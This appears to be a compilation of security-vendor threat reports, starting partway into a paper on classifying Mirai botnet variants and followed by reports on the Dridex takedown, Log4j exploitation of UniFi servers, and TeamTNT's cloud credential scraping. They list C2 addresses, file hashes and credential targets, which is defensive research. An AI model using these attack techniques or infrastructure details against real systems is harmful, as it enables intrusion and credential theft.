It’s the scanner module that enables Mirai to infect hundreds of thousands of vulnerable devices in a relatively short period of time. That module can be divided into two parts: (1) the TCP port prober; (2) a telnet brute force attacker with a dictionary of dozens of, default to 62, usernames/passwords. Due to its proven efficiency, the prober is not only retained by most Mirai descendants, but also borrowed by other botnet families. Meanwhile, telnet brute forcing is also kept by most variants, sometimes used together with new exploits, which makes it common to find a credential dictionary in Mirai variant samples. Our analysis shows that different variants don’t usually share the same set of credentials.
In Mirai, the scanning task, including the credential dictionary initialization, is done in a function called scanner_init(), which is characterized by having a complex binary control flow graph embedded with a very large instruction block. Detailed analysis shows it’s the large block that is responsible for installing all the usernames and passwords, which inspires the idea of extracting the credentials by emulating the large block. Candidate blocks are found using an IDAPython script that iterates all binary blocks and picks out those with the following criteria:
1. Having large block size and instruction count.
2. Referencing dozens of global variables which point to ciphertext usernames and passwords.
3. Writing at least five global variables which correspond to IP and TCP fields.
4. Repeatedly calling a unique function (a.k.a. add_auth_entry()).
The found blocks are emulated based on our lightweight emulation framework. The key points of the emulation program are as follows:
1. NOP’ing all the CALL instructions and marking them as breakpoints.
2. Emulating in single-step mode.
3. In the CALL breakpoint handler, saving arguments 1–3 separately as username, password and weight.
The finally extracted usernames and passwords are deciphered with a self-implemented decryption module similar to that introduced in Section 2.1.1.
## 3. Variant Classification and Tracking
While variant classification and tracking is a complex topic, especially in the case of dozens of variants and tens of thousands of samples, in this section we will discuss such schemes with data limited to those introduced in Section 2.
### 3.1 Configuration-based Schemes
Since the configuration database stores most of the running parameters, the variant evolution can be well detected from database changes. For example, the samples share the same C&C and similar configurations, but extra iptables commands are found in the second one, which indicates an exclusive infection and possible infection vectors.
Considering that there are usually dozens of items in a single configuration database, and configurations vary greatly across variants in terms of size and content, it might be not feasible to use all configurations for classification and tracking. Therefore, we devise two schemes which rely only on configuration size, count, and encryption key used.
#### 3.1.1 Clustering Based on Configuration Count and Size
This scheme is designed to cluster variants and quickly detect anomalous ones in cases where there are a large number of samples. This is achieved by plotting all the samples according to their configurations’ counts and sizes. Two clusters of samples with much larger configuration size can easily be identified. Further analysis shows they can be classified as the same variant. Detailed analysis shows the extraordinarily large configuration size is due to dozens of fake HTTP user-agents added by the author for better HTTP flooding attacks. In fact, the correlated intelligence of branch names, keys and C&Cs strongly suggests that the same underground group is behind the samples.
| Criterion | Branch name | Key | C&C | Samples |
|-----------|-------------|-----|-----|---------|
| size > 7400 && count > 100 && count < 120 | MIRAI | 0x22 | cnc.ttoww.com | 19 |
| KYUBI | 0x34 | cnc.aandy.xyz | 4 |
| MIRAI | 0x34 | cnc.aandy.xyz | 8 |
| MIRAI | 0x34 | www.aandy.cf | 7 |
| MIRAI | 0x34 | www.askjasghasg.ru | 16 |
This clustering scheme can also be used with other schemes. For example, it can be used to cluster samples belonging to the same branch (e.g. MASUTA, OWARI). Clustering results based on size and count can be useful for further analysis.
#### 3.1.2 Clustering Based on Encryption Key
Except for SATORI, which is not discussed in this paper, all the Mirai samples we collected share the same encryption algorithm, thus only the encryption key is considered in this paper. Since the key has a space of 2^8, there is a low probability that two variants share the same key coincidentally. Therefore key sharing can be thought of as being caused by code sharing, and can be used to correlate the botnet authors behind the samples.
In total, 31 keys have been detected from our collected samples. Their usage stats show a good long tail distribution of samples.
| Key | Sample count |
|-----|--------------|
| 0x22 | 4,755 |
| 0x54 | 3,938 |
| 0x3D | 553 |
| 0x45 | 542 |
| 0x66 | 204 |
| 0x37 | 163 |
| 0x6F | 125 |
| 0x02 | 90 |
| 0x62 | 77 |
| 0x67 | 69 |
| 0x55 | 52 |
| 0x78 | 37 |
| 0x34 | 35 |
| 0x03 | 29 |
| 0x56 | 20 |
| 0x10 | 14 |
| 0x11 | 13 |
| 0x76 | 8 |
| 0x42 | 8 |
According to our analysis, the keys located in the tail area usually indicate a single variant, while frequently used keys indicate a relative in the same family. For example, through the key of 0x54, the branches of Cult, JOSHO and OWARI can be connected.
| MD5 | Config count | Config size | Branch | C&C |
|-----|--------------|-------------|--------|-----|
| 0729b89281c831fc035d56fbf14631da | 30 | 333 | Cult | 198.134.120.150 |
| 23a98fc659982da993e7825eb87bb640 | 30 | 340 | OWARI | 198.134.120.150 |
| 2ff2d4feff4ffcec355f52993ce7b73e | 30 | 346 | JOSHO | 198.134.120.150 |
The connecting process works as follows:
1. The three branches are connected by the samples sharing the same key.
2. The grouped samples have a similar configuration count and size, which indicates that they probably belong to the same variant.
3. The samples share the same C&C, which strongly suggests that they probably come from the same author(s).
Our analysis shows that such connections can be extended to other branches, with most of them finally verified by the shared C&Cs. Based on that finding, we devise a coarse-grained grouping scheme of ‘branch+key’ for quickly classifying new samples. In total, 92 groups are produced. With the exception of ‘MIRAI_0x22’, which stands for the default branches, the other top 10 groups based on their C&Cs are shown.
| Variant | C&C count |
|---------|-----------|
| JOSHO+0x54 | 216 |
| OWARI+0x54 | 134 |
| Cult+0x54 | 81 |
| SORA+0x54 | 69 |
| daddyl33t+0x3D | 59 |
| MASUTA+0x45 | 53 |
| EXTENDO+0x54 | 21 |
| MIORI+0x54 | 12 |
| dwickedgod+0x3D | 10 |
| Saikin+0x66 | 9 |
| Katrina+0x67 | 9 |
### 3.2 Attack-method-based Schemes
Since Mirai was designed to launch DDoS attacks, the supported attack methods are a sound basis for variant classification. Based on the attack method fingerprinting technique, we develop a classification scheme based on the combination of {code, attack-type} pairs extracted from samples.
#### 3.2.1 Combination of Supported Attack Methods
According to our analysis, Mirai variants vary greatly in the supported attack methods in terms of method count, code numbering, and implementation. To quickly distinguish different variants of samples, we devise a coarse-grained classification method based on the combination of supported attack method codes (e.g. 0_1_2_3_4_5_6_7_9_10 for default Mirai samples). Two samples are classified as possibly the same variant for further analysis only when they share the same code combination. The top 10 combinations based on the sample count are shown.
| Attack method code combination | Count |
|-------------------------------|-------|
| 0_1_2_3_4_5_6_7_9_10 | 4,488 |
| 0_1_2_3_4_5_6_7_8_9_10 | 3,890 |
| 0_1_2_3_4_5_6_7_8 | 976 |
| 0_1_2_3_4_5_6_7_8_9 | 353 |
| 0_1_2_3_6_7_8 | 138 |
| 0_1_2_3_4_5_6_7_9 | 96 |
| 0_1_2_3_4 | 94 |
| 0_1_2_3 | 75 |
| 0_1_2_3_4_5_6_7_9_10_11_12 | 51 |
| 0_1_2_3 | 48 |
Since it’s common for the same code to be assigned to different attack methods in different variants, a more precise classification can be achieved using the combination of code and the corresponding attack method fingerprint. With the help of the fingerprint technique, a total of 126 such unique combinations are found.
## 4. Typical Variants Analysis
To better demonstrate our proposed schemes, in this section we will investigate some popular Mirai variants with the proposed schemes.
### 4.1 MASUTA
In total, four keys are found to be used in this branch.
| Variant | Samples | C&Cs |
|---------|---------|------|
| MASUTA+0x45 | 351 | 53 |
| MASUTA+0x02 | 90 | 5 |
| MASUTA+0x22 | 9 | 1 |
| MASUTA+0x55 | 8 | 1 |
Sample clustering on the largest branch of ‘MASUTA+0x45’ shows that both configuration size and count are relatively close. The slight changes in sizes are due to the following reasons:
1. Two different prompt lines are used.
2. In some samples the C&Cs are hard coded in resolve_cnc_addr() but old default C&Cs are still kept in configurations.
3. Items of ‘Oaf3’, ‘AbAd’, ‘14Fa’ and ‘[email protected]’ are added in some samples.
From the point of view of attack methods, as many as 25 combinations of {code, atk_type} are found in all MASUTA samples, while there are eight combinations in the ‘MASUTA+0x45’ branch.
### 4.2 OWARI
In total, two keys are found to be used in OWARI samples.
| Variant | Samples | C&Cs |
|---------|---------|------|
| OWARI+0x54 | 687 | 146 |
| OWARI+0x66 | 15 | 2 |
Sample clustering of OWARI samples shows that OWARI samples concentrate exactly on four points of (21, 265), (30, 340), (38, 409) and (41, 2524). The slight changes in size are due to the following reasons:
1. Two different prompt lines are used.
2. In the samples with a size of 2524, several automatic download and killer command lines exist.
From the point of view of attack methods, only two combinations of {code, atk_type} are found in all OWARI samples.
### 4.3 WICKED
The WICKED branch became known for including multiple IoT exploits in 2018. In total, 128 samples have been collected, with only one key of 0x37 found and six C&Cs detected.
The samples can be clustered into four groups, indicating that the WICKED samples are probably produced by the same authors. The size changes in configurations are mainly due to the command lines.
## 5. Conclusion
We have introduced how to extract data including configurations, supported attack methods, and dictionaries of usernames and passwords from Mirai samples, and how to use the extracted data for variant classification and tracking, with different schemes discussed. Some popular Mirai branches have been investigated with our proposed schemes. In the future, we will keep a close eye on the emerging Mirai variants, and will continue researching better classification schemes, e.g. using fuzzy hashing techniques to group samples based on their extracted configurations. We hope our work will help improve the detection and mitigation of Mirai-like threats. |
# Dridex (Bugat v5) Botnet Takeover Operation
**Summary**
In the fall of 2015, the Dell SecureWorks Counter Threat Unit™ (CTU™) research team collaborated with the UK National Crime Agency (NCA), the U.S. Federal Bureau of Investigation (FBI), and the Shadowserver Foundation to take over the Dridex banking trojan. The malware, which the CTU research team refers to as Bugat v5, steals credentials, certificates, cookies, and other sensitive information from a compromised system, primarily to commit Automated Clearing House (ACH) and wire fraud. As of this publication, authorities have linked the botnet to an estimated £20 million (approximately $30.5 million) in losses in the UK, and at least $10 million in losses in the United States. Dridex was created from the source code of the Bugat banking trojan (also known as Cridex) but is distinct from previous Bugat variants, particularly with respect to its modular architecture and its use of a hybrid peer-to-peer (P2P) network to mask its backend infrastructure and complicate takedown attempts.
## Malware distribution
Dridex is distributed through spam emails using various lures. In the past, some of the spam email attachments exploited vulnerabilities, but recent samples analyzed by CTU researchers used Microsoft Word macros. After the victim opens the Word document, the macro attempts to download and execute the Dridex loader, which installs the other botnet components.
## Malware architecture
The Dridex malware has four primary components:
- **Loader** — downloads the core module and an initial node list to join the P2P network
- **Core module** — performs the malware's core functions (harvesting credentials, performing man-in-the-browser attacks using web injects, downloading the VNC and backconnect modules, etc.)
- **VNC module** — allows the attacker to remotely view and control a victim's computer
- **Backconnect module** — allows the attacker to tunnel network traffic through a victim's computer
## Affiliate model
Similar to the P2P Gameover Zeus and Gozi Neverquest botnets, Dridex operates with an affiliate model. The botnet is partitioned into sub-botnets, and each affiliate has access to its own subset of bots. The Dridex command and control (C2) servers multiplex bot requests according to a botnet value contained in each request. CTU researchers have observed the following Dridex sub-botnets: 120, 121, 122, 125, 126, 127, 200, 220, 300, 305, 310, 320, and 888.
## Botnet architecture
Early versions of Dridex (builds 0x10000 - 0x1009F) used a centralized architecture for C2 communications. Like its predecessor Bugat, Dridex's compromised servers acted as proxies to the backend servers. Each Bugat/Dridex malware sample included a set of hard-coded C2 servers that the threat actors had compromised. This architecture provided a modest amount of resiliency to mitigation efforts from law enforcement and security researchers. However, this centralized architecture does not scale well and does not provide the same level of redundancy as a P2P network.
## Peer-to-peer communication
In November 2014, the Dridex developers for build versions greater than 0x20000 introduced a P2P network that leverages existing bots to relay traffic between bots, compromised servers, and the criminal infrastructure. Dridex bots that have a public IP address and are not behind a NAT or firewall can act as a node in a P2P network. The Dridex P2P network is a hybrid between a centralized and a decentralized network. Peer lists and configuration files are distributed by the backend servers rather than exchanged directly between peers. Binary updates and modules are exchanged autonomously between peers in the network, which reduces some of the load on the backend. This hybrid P2P architecture significantly limits the botnet's ability to self-organize and maintain itself without outside intervention, unlike other P2P botnets such as Kelihos and Gameover Zeus.
## Web injects
The CTU research team has tracked Dridex's activities since July 2014 and has captured 359 unique configuration files, with 414 active inject targets, as of this publication. The web injects used by Dridex vary depending on the sub-botnet, some of which are region-specific. The Dridex botnet's web injects have targeted 27 different countries worldwide.
**Region**
- **North America**: United States, Canada
- **Europe**: United Kingdom, Ireland, France, Switzerland, Germany, Norway, Austria, Netherlands, Italy, Belgium, Croatia, Bulgaria, Romania
- **Middle East**: United Arab Emirates, Qatar, Israel
- **Asia**: Indonesia, Singapore, Malaysia, Hong Kong, China, India, Vietnam
- **South Pacific**: Australia, New Zealand
## Dridex botnet takeover
In collaboration with the NCA, the FBI, and the Shadowserver Foundation, CTU researchers developed and executed a technical strategy to take over the Dridex botnet by poisoning each sub-botnet's P2P network and redirecting infected systems to a sinkhole. This sub-botnet heavily targeted Western Europe, especially the United Kingdom and France.
## Conclusion
Threat actors created botnets such as Dridex to fill the void left by the takedown of the Gameover Zeus botnet in May 2014 as part of Operation Tovar. Despite a significant overlap in tactics, techniques, and procedures (TTPs), Dridex never rivaled the sophistication, size, and success of Gameover Zeus. This operation took advantage of weaknesses in Dridex's hybrid P2P architecture to take over the botnet. |
# Visual Investigations - Speed Up Your IR, Forensic Analysis and Hunting
**Presented by**
Mathieu Gaucheler, Maltego
Ariel Jungheit, Kaspersky
Vicente Diaz, VirusTotal
## About this talk
With the rising number and sophistication of cyber-attacks faced by organizations, modern CISO’s are ramping up internal processes and infrastructure to not only prevent incidents, but also remediate them faster to reduce the harmful impact of attacks on the organization. Visual investigations can save valuable time by allowing efficient evaluation of incidents as well as faster investigation of anomalies and evidence left by threat actors in your networks.
**Watch this webinar to learn:**
- The value of visual investigations.
- To conduct investigations with real world examples leveraging VT Graph and Maltego.
- Advanced techniques in malware investigations.
Helping to modernize security whether you are transforming your systems in our cloud or in place. |
# Log4j Exploit Hits Again: Vulnerable Unifi Network Application (Ubiquiti) at Risk
Posted by Morphisec Labs on January 28, 2022
As a continuation to our previously published blog post on VMWare Horizon being targeted through the Log4j vulnerability, we have now identified Unifi Network applications being targeted in a similar way on a number of occasions. Based on prevention logs from Morphisec, the first appearance of successful exploitation occurred on January 20, 2022. Morphisec expertise comes from being the best breach prevention software, using Moving Target Defense, that stops ransomware and other advanced attacks that today’s NGAV and EDR solutions are unable to stop, in a timely and cost-efficient manner. The uniqueness of the attack is that the C2 is correlated to a previous SolarWind attack as reported by CrowdStrike. Not surprisingly, a POC for the exploitation of Unifi Network was released a month prior (24th of December), and we, therefore, expected to see this type of targeted exploitation in the wild.
## Technical Details
The unifi vulnerability was first posted by @sprocket_ed.
RCE in Unifi Network Application using #log4j/#log4shell. (CVE-2021-44228) Going to be automating this and writing a blog article soon.
Log4j Vulnerability (Log4Shell) on Ubiquiti UniFi
Ubiquiti normal execution command line:
`-Dfile.encoding=UTF-8`
`-Djava.awt.headless=true`
`-Dapple.awt.UIElement=true`
`-Dunifi.core.enabled=false`
`-Xmx1024M`
`-Xrs`
`-XX:+ExitOnOutOfMemoryError`
`-XX:+CrashOnOutOfMemoryError`
`-XX:ErrorFile=C:\Users\Administrator\Ubiquiti UniFi\logs\hs_err_pid%p.log`
`-jar C:\Users\Administrator\Ubiquiti UniFi\lib\ace.jar start`
(We recommend identifying powershell execution as a child process to this command-line execution statement)
In most cases, unifi applications (by ubiquiti) are deployed with the highest privilege levels.
## Powershell Reverse TCP to CobaltStrike
We have identified in-memory cobalt beacon dropped by the following base64 encoded reverse tcp powershell script which were communicating with 179.60.150[.]32:
We found that the C2 used in the attack was previously noted as part of the SolarWind supply chain attack, Cobalt beacon C2, and was attributed to TA505 aka GRACEFUL SPIDER, a well-known financially motivated threat actor group. These attacks are often motivated by opportunities to sell sensitive data or perpetrate ransomware demands to prevent exposure. TA505, the name given by Proofpoint, has been in the cybercrime business for at least five years. This is the group behind the infamous Dridex banking trojan and Locky ransomware, delivered through malicious email campaigns via Necurs botnet. Other malware associated with TA505 includes Philadelphia and GlobeImposter ransomware families.
These types of attacks underscore how traditional security solutions are failing to detect and prevent the latest threats, which have become far more frequent and sophisticated. With the average ransomware attack now occurring every few seconds, and ransoms costing organizations millions, security teams should explore ways to augment or replace current solutions that are no longer adequate. Leading analysts, such as Gartner, are pointing to Moving Target Defense as a way to detect and prevent attacks that are now bypassing next-generation antivirus (NGAV) and endpoint detection and response (EDR) solutions. Morphisec offers Moving Target Defense for endpoints and Windows or Linux servers. Firms should also consider Incident Response (IR) services, to not only respond to Indicators of Compromise (IOCs) but also assess security postures for weaknesses and provide recommendations to improve defenses. Morphisec offers IR services that leverage our deep Moving Target Defense expertise and technology.
## Indicators of Compromise (IOCs)
- C2: 179.60.150[.]32
- Observed: 2275247244f03091373f51d613939f5a96c48481c60832d443c112611142ceba
- Vulnerable Jars:
- 5e53ee9c3299a60b313bdfa3d8b8aaafae67d70eb565a7999e42139d51614462
- cccd16f0c8e1f490f9cf8b0a42d61b52185f0e44e66e098c4f116b3e19f75b1c
- 079089176ad528393c0641a630d90ca90a353a3c1765fb052e8c43ed45a29506 |
# TeamTNT Actively Enumerating Cloud Environments to Infiltrate Organizations
**By Nathaniel Quist**
**June 4, 2021**
**Category:** Cloud, Unit 42
**Tags:** AWS, Credential Harvesting, Cryptojacking, Google Cloud, IAM, Scraping, TeamTNT
## Executive Summary
TeamTNT has been evolving their cloud-focused cryptojacking operations for some time now. They have targeted and exfiltrated AWS credentials, targeted Kubernetes clusters, and created new malware called Black-T that integrates open-source cloud-native tools to assist in their cryptojacking operations. TeamTNT is now using compromised AWS credentials to enumerate AWS cloud environments via the AWS platform’s API. These actions attempt to identify all Identity and Access Management (IAM) permissions, Elastic Compute Cloud (EC2) instances, Simple Storage Service (S3) buckets, CloudTrail configurations, and CloudFormation operations granted to the compromised AWS credential. They are also targeting the credentials of 16 additional applications, including those of AWS and Google Cloud credentials, which may be stored on the compromised cloud instance.
The targeting of Google Cloud credentials represents the first known instance of an attacker group targeting IAM credentials on compromised cloud instances outside of AWS. While it is still possible that Microsoft Azure, Alibaba Cloud, Oracle Cloud, or IBM Cloud IAM credentials could be targeted using similar methods, Unit 42 researchers have yet to find evidence of credentials from these cloud service providers being targeted. TeamTNT first started collecting AWS credentials on compromised cloud instances as early as August 2020.
In addition to targeting 16 application credentials, TeamTNT has added the usage of the open-source Kubernetes and cloud penetration toolset Peirates to their reconnaissance operations. With these techniques available, TeamTNT actors are increasingly capable of gathering enough information in target AWS and Google Cloud environments to perform additional post-exploitation operations. This could lead to more cases of lateral movement and potential privilege escalation attacks that could ultimately allow TeamTNT actors to acquire administrative access to an organization’s entire cloud environment.
That said, TeamTNT operations are still focused on cryptojacking. They have collected 6.52012192 Monero coins, which at the time of this writing equaled $1,788 USD. The mining operation was found to be operating at an average speed of 77.7KH/s across eight mining workers. Operations using this Monero wallet address have continued for 114 days.
Palo Alto Networks Prisma Cloud customers are protected from these threats through the Runtime Protection feature, Cryptominer Detection feature, and the Prisma Cloud Compute Kubernetes Compliance Protection, which alerts on insufficient Kubernetes configurations and provides secure alternatives. Additionally, Palo Alto Networks VM-Series and CN-Series products offer cloud protections that can prevent network connections from cloud instances toward known malicious IP addresses and URLs.
## Enumeration Techniques
Unit 42 researchers identified one of TeamTNT’s malware repositories, which contained several bash scripts designed to perform cryptojacking operations, exploitation, lateral movement, and credential scraping operations. This malware repository, referred to as the Chimaera Repository, highlights the expanding scope of TeamTNT operations within cloud environments as well as a target set for current and future operations.
Within the Chimaera repository, there were three scripts that specifically highlight TeamTNT’s expanding cloud targeting capabilities and intent. The first script is `grab_aws-data.sh`, which focuses on enumerating AWS cloud environments using known AWS IAM credentials. The second script, `bd_aws.sh`, scrapes all known Secure Shell Protocol (SSH) keys from an AWS instance and identifies all executable programs currently running on that instance. Finally, the script `search.sh` performs a search for configuration files containing application credentials stored on a given host. These scripts are newly discovered and directly highlight the targeting of cloud-native applications within both AWS and Google Cloud environments.
### Enumerating AWS Environments
The bash script, `grab_aws-data.sh`, contains 70 unique AWS Command-Line Interface (AWS CLI) commands designed to enumerate seven AWS services, IAM configurations, EC2 instances, S3 buckets, support cases, and direct connections, in addition to any CloudTrail and CloudFormation operations available to a given AWS IAM credential. All enumerated values obtained through the AWS enumeration process will be stored within the local directory `/var/tmp/.../...TnT.../aws-account-data/` on the compromised system.
As a summary, the TeamTNT script contained commands for the following seven AWS services:
- 44 EC2 instance commands
- 14 IAM commands
- 4 Direct Connect commands
- 4 CloudFormation commands
- 2 CloudTrail commands
- 1 S3 command
- 1 Support command
### Credential Scraping
TeamTNT actors have also expanded their credential scraping capabilities to include the identification and collection of 16 unique applications, which may be present on the compromised cloud endpoint and for any of the known user accounts on the cloud instance, including the root account. These applications were listed within the script `search.sh`:
- SSH keys
- AWS keys
- Docker
- GitHub
- Shodan
- Ngrok
- Pidgin
- Filezilla
- Hexchat
- Google Cloud
- Project Jupyter
- Server Message Block (SMB) clients
Several of these applications are noteworthy. The presence of Google Cloud credentials tops the list as this is the first known instance of an attacker group targeting IAM credentials outside of AWS. It is possible that Microsoft Azure, Alibaba Cloud, Oracle Cloud, or IBM Cloud environments could be targeted using similar techniques, but Unit 42 researchers have yet to find evidence of these CSPs being targeted. Researchers believe that it is only a matter of time before TeamTNT will develop functionality similar to that of `grab_aws-data.sh`, but targeting Google Cloud environments.
### Lateral Movement Operations
In addition to the 16 applications listed above, several applications are specifically targeted for lateral movement operations. Within the Chimaera repository, Unit 42 researchers identified several scripts that single out specific applications. One of those applications is Weaveworks. Weave is a microservice network mesh application developed for container infrastructures such as Docker and Kubernetes, allowing microservices to run on one or multiple hosts while maintaining network connectivity. By targeting Weave installations, TeamTNT operations have the potential to move laterally within a container infrastructure using the Weave network mesh application.
Additionally, the Project Jupyter application is listed as a target of TeamTNT operations through two sources within the Chimaera repository, first within the `search.sh` script as the target for credential scraping, and as a beta lateral movement script, `spread_jupyter_tmp.sh`. Unit 42 researchers also found reference to Project Jupyter within a known TeamTNT actor’s Twitter account, highlighting the fact that TeamTNT is actively using the scripts listed within the Chimaera repository and targeting these additional cloud applications.
### Peirates
Unit 42 researchers have identified that TeamTNT actors are using the open-source container and cloud penetration tool Peirates. Peirates allows actors to perform several attack functions against AWS and Kubernetes instances. This tool could enable TeamTNT actors to investigate and identify misconfigurations or potential vulnerabilities within Kubernetes and Cloud environments and could allow TeamTNT to perform additional compromising actions against cloud infrastructure.
## Monero Mining Operations
TeamTNT operations are still focused on cryptojacking. The previous sections presented the findings of new techniques used by TeamTNT actors to expand their cryptojacking infrastructure. The following section will focus on the findings related to the processes of mining applications TeamTNT uses to perform their cryptojacking operations.
### Local Docker Image
Of interest is the script file `docker.container.local.spread.txt`, which lists the name of a local Docker image. The Docker image is a local Docker image, meaning it is not hosted and downloaded from an external docker repository such as Docker Hub. Researchers did search Docker Hub for the presence of this Docker image and none were found.
The Docker container is created to provide a host for TeamTNT’s Monero (XMR) mining operation. A Docker image is created with the name `mangletmpuser/fcminer`. This image is then started and directed to navigate to the Chimaera repository file `setup_xmr.sh`, which will initiate the Docker cryptomining process, using the open-source XMRig application within a Docker container.
### New Monero Wallet
Unit 42 researchers identified a new Monero wallet address that has never before been witnessed in relation to TeamTNT operations. This Monero wallet address was associated with the Monero public mining pool `pool.supportxmr.com:3333`. This mining pool address displays that the TeamTNT mining operation has collected 6.52012192 Monero coins, which at the time of this writing equaled $1,788 USD. The mining operation was found to be operating at 77.7KH/s, across eight mining workers at the time of this writing, and operations using this Monero wallet address have continued for 114 days. At an operating speed of 77.7KH/s, this operation is considered to be a small mining operation for a group like TeamTNT.
## Conclusion
Given TeamTNT’s integration of tools such as Peirates, their targeting of cloud-native network mesh applications such as Weave, their operations around Kubernetes and Black-T, and their targeting and subsequent taunting of organizations using Project Jupyter, TeamTNT actors are suspected to be employing all tools listed within this blog on a regular basis. They are specifically targeting cloud platforms in an attempt to circumvent future security detection tools and embed themselves into the organization’s cloud environment.
We recommend that organizations operating with cloud environments monitor for and block all network connections associated with TeamTNT’s Chimaera repository, as well as historic Command and Control (C2) endpoints. Using a cloud-native security platform will significantly reduce the cloud infrastructure’s attack surface and allow organizations to monitor for risks.
The following tips are highly recommended by Unit 42 researchers to assist in the protection of cloud infrastructure:
- Enforce least-privilege IAM access policies to all cloud IAM roles and permissions. Where applicable, use short-lived or one-time-use IAM credentials for service accounts.
- Monitor and block network traffic to known malicious endpoints.
- Only deploy vetted container images within production environments.
- Implement and use Infrastructure as Code (IaC) scanning platforms to prevent insecure cloud instances from being deployed into production environments.
- Use cloud infrastructure configuration scanning tools that enable governance, risk management, and compliance (GRC) to identify potentially threatening misconfigurations.
- Use cloud endpoint agents to monitor and prevent the running of known malicious applications within cloud infrastructure.
Palo Alto Networks Prisma Cloud customers are protected from these threats through the Runtime Protection feature, Cryptominer Detection feature, and the Prisma Cloud Compute Kubernetes Compliance Protection, which alerts on insufficient Kubernetes configurations and provides secure alternatives. Additionally, Palo Alto Networks VM-Series and CN-Series products offer cloud protections that can prevent network connections from cloud instances toward known malicious IP addresses and URLs.
## Indicators of Compromise
### Chimaera Repository Files
| SHA256 | File |
|------------------------------------------------------------------------------------------------|------------------------------------------------|
| a698562d56715c138750163c84727a1f2edb9d92f231994abf7ae82ef62006bf | chimaera/bin/1.0.4.tar.gz |
| bcd43d4046c64d15da4e87984306dd14dc80daa904a6477ad2b921c49c2f414d | chimaera/bin/64bit/aws_zig |
| 3aae4a2bf41aedaa3b12a2a97398fa89a9818b4bec433c20b4e724505277af83 | chimaera/bin/64bit/bob |
| 37ba40494303ff2c671d6806977f655bdc6ae45ad09357214b164fd5328efb31 | chimaera/bin/64bit/curl |
| 134e9ab62a8efe80a27e2869bd6e98d0afe635e0e0750eb117ff833dc9447c28 | chimaera/bin/64bit/docker-escape |
| 45aabbda369956ff04ba4e6bf345cbaa072d49dd4b90c35c7be8c0c96a115733 | chimaera/bin/64bit/hawkeye |
| e673ef9910a9d6319be598be72430f1b04c299b48e5cd95ce7ccafac273072f3 | chimaera/bin/64bit/index.html |
| af986793a515d500ab2d35f8d2aecd656e764504b789b66d7e1a0b727a124c44 | chimaera/bin/64bit/jq |
| 456041c34e7a992e76320121b7a6b5a47f12b1ed069e1de735543f5b2a1f1a68 | chimaera/bin/64bit/pei |
| bcd43d4046c64d15da4e87984306dd14dc80daa904a6477ad2b921c49c2f414d | chimaera/bin/64bit/TNT_AWS |
| d5063df016a6af531ed4e6dd222ff4dbbb5b3b0c9075ad642e94adde8e481cbe | chimaera/bin/64bit/TNT_Kubernetes_e_u |
| 9504b74906cf2c4aba515de463f20c02107a00575658e4637ac838278440d1ae | chimaera/bin/64bit/TNT_MassPwn |
| 229d6e173f22a647c8db9c8e7d0b21c8f86dd4e270abb96548aa40d84457c99a | chimaera/bin/64bit/wget.rpm |
| 15f8cf9c0ed9891f20be37130c1d0e30946e4e14e00a1b2824da22c6c94b8fe3 | chimaera/bin/64bit/wget.rpm.tar.gz |
| efdf041abcb93f97a3b46624d18d1c8153711f939298c46a4a48388e7ec1bd1e | chimaera/bin/64bit/xmr |
| ee7799a42c2f487df7405d0aac06496c9a5bb58daecfb135f6f58e3b3aeedf69 | chimaera/bin/64bit/xmr.xz |
| 900b17ae0081052fb63a7d74232048cfbc2716cdedbe0ab14cf64b7d387d4329 | chimaera/bin/64bit/xmrig |
| 84078b10ad532834eb771231a068862182efb93ce1e4a8614dfca5ae3229ed94 | chimaera/bin/64bit/xmrig_ps_e |
| 825c60dd1bb32cd6b7e6686f425c461532093b1e9f6ca662c1ea9b07ec7e470b | chimaera/bin/64bit/xmrig-6.8.1-linux-static-x64.tar.gz |
| 99211429717c686167c1bcda6c5e55dc0e45f46bfdfe34f3bb272ce1378a47a3 | chimaera/bin/64bit/zgrab |
| 8373c0e8abdd962f46d3808fb10589e4961e38cd96d68a4464d1811788a4f2b7 | chimaera/bin/64bit/zmap |
| 73a4e43a50c533dffdce6575a630be808780d1b408a6dda335106de0c48926ac | chimaera/bin/aarch64/bob |
| 24c75a2f86d3c0f13f77b453d476787607a87c1033dca501351846524a4e8ff6 | chimaera/bin/aarch64/index.html |
| e842c810b6ecb9c7634f1cfbf81b6245094528ac5584179eb8e6932eaa34f421 | chimaera/bin/aarch64/traitor |
| 1e565e0672c4cd60b7db32c0ecc1abace6dfd8b6c2e0623c949d31536940fd62 | chimaera/bin/aarch64/zgrab |
| 12466d33f1d0e9114b4c20e14d51ca3e7e374b866c57adb6ba5dfef3ee34ee5b | chimaera/bin/irc_bot.c |
| 2287e71c5707ebb2885cd6afd0bff401e4465ca59c8c2498439859e6c8ec5175 | chimaera/bin/mass.tar |
| b6ddd29b0f74c8cfbe429320e7f83427f8db67e829164b67b73ebbdcd75d162d | chimaera/bin/p.tar |
| 2f4ffa0e687b4e18e45770812a14ad4fc1ae3f735b4f8280f0dd241e045838fe | chimaera/bin/pnscan_1.12+git20180612.orig.tar.gz |
| bf9b11b764f63c32fd333cc3916c97490fb06f4dbcff8ae87dfee098eca1e854 | chimaera/bin/rpm_deb_apk/i368-coreutils.deb |
| 5f1c9e8dc98ff3e7cf32096225cbae96dacead6af82986d69bbc0032d0e8da84 | chimaera/bin/rpm_deb_apk/i386-curl |
| 3d2481edc5fe122bae2fe316d803e131837606e38a7a3158f7cddc7b436dc6c2 | chimaera/bin/rpm_deb_apk/setup_apps.sh |
| f26f805c3a1c01ab4717cc3b4c91581249482b00bd29712ab0c36ba7ce74147c | chimaera/bin/x86_64/bob |
| 0cdad862a1a695fe9cbf35592f92111e31ac848881fcd1deaa3c6ecd7c241ad7 | chimaera/bin/x86_64/bot |
| 456041c34e7a992e76320121b7a6b5a47f12b1ed069e1de735543f5b2a1f1a68 | chimaera/bin/x86_64/pei |
| d2fff992e40ce18ff81b9a92fa1cb93a56fb5a82c1cc428204552d8dfa1bc04f | chimaera/bin/x86_64/tmate |
| 3cb401fdba1a0e74389ac9998005805f1d3e8ed70018d282f5885410d48725e1 | chimaera/bin/x86_64/traitor |
| 84078b10ad532834eb771231a068862182efb93ce1e4a8614dfca5ae3229ed94 | chimaera/bin/x86_64/xmrig |
| 4e4e01830dc64466683735d32778d17cfbffc7be75d647322240ecf9e2f9d700 | chimaera/bin/x86_64/zgrab |
| 900b17ae0081052fb63a7d74232048cfbc2716cdedbe0ab14cf64b7d387d4329 | chimaera/bin/xmr/xmrig_u |
| 11b45924f96844764c7ae56ce0b6ac3c43d3a732bc7101d7ce85ea52d0455afd | chimaera/bin/xmrig |
